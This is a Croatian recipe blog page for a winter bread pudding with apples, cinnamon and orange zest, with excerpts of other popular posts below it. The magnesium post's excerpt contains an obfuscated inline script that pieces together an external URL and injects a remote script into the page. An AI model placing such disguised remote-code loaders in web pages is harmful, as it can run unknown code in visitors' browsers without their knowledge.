ZIMSKI KRUH PUDDING S CIMETOM, JABUKAMA I KORICOM NARANČE 🍞


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Zimski kruh pudding s cimetom, jabukama i koricom naranče




Zimski kruh pudding s cimetom, jabukama i koricom naranče 



Nastao kao način da se iskoristi stari kruh, bread pudding je kroz stoljeća postao klasik britanske i američke kuhinje, jednostavan, rustikalan i beskrajno prilagodljiv recept koji je brzo na vašem stolu, a oduševljava okusom. U svojoj osnovi, bread pudding spaja komade suhog kruha s bogatom mješavinom jaja, mlijeka ili vrhnja i šećera, koji se tijekom pečenja pretvaraju u mekanu, gotovo kremastu teksturu iznutra, dok je površina lagano zapečena i karamelizirana. Uvjerit ćete se i sami ako slijedite recept u nastavku!




Zimski kruh s cimetom, jabukama i koricom naranče 


Sastojci:

  • 400 g starog bijelog kruha ili brioša (narezanog na kocke)
  • 3 srednje jabuke (oguljene i narezane na tanke ploške)
  • 3 jaja
  • 500 ml punomasnog mlijeka
  • 150 ml slatkog vrhnja za šlag
  • 120 g smeđeg šećera
  • 1 vanilin šećer ili 1 žličica ekstrakta vanilije
  • 1,5 žličica mljevenog cimeta
  • prstohvat muškatnog oraščića (po želji)
  • naribana korica 1 neprskane naranče
  • 40 g otopljenog maslaca
  • prstohvat soli
  • 2 žlice smeđeg šećera
  • malo maslaca u listićima
  • šaka sjeckanih oraha ili badema




Priprema:

  • Ako kruh nije dovoljno suh, rasporedite ga na lim i kratko prosušite u pećnici na 150 °C oko 10 minuta. Treba biti suh na dodir, ali ne prepečen. U velikoj zdjeli pomiješajte kocke kruha i narezane jabuke. Dodajte cimet i lagano promiješajte kako bi se začini ravnomjerno rasporedili.
  • U drugoj zdjeli pjenasto umutite jaja sa smeđim šećerom i vanilijom. Umiješajte mlijeko, slatko vrhnje, otopljeni maslac, prstohvat soli i naribanu koricu naranče. Ako volite izraženiju toplinu začina, dodajte i malo muškatnog oraščića.
  • Prelijte tekuću smjesu preko kruha i jabuka. Lagano promiješajte i ostavite da odstoji 15-20 minuta kako bi kruh upio tekućinu.
  • Smjesu prebacite u maslacem namazan kalup. Po vrhu pospite smeđi šećer, dodajte listiće maslaca i orahe (ako koristite).
  • Pecite u prethodno zagrijanoj pećnici na 180 °C oko 40-45 minuta, dok površina ne postane zlatno smeđa, a sredina lagano čvrsta, ali i dalje sočna.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više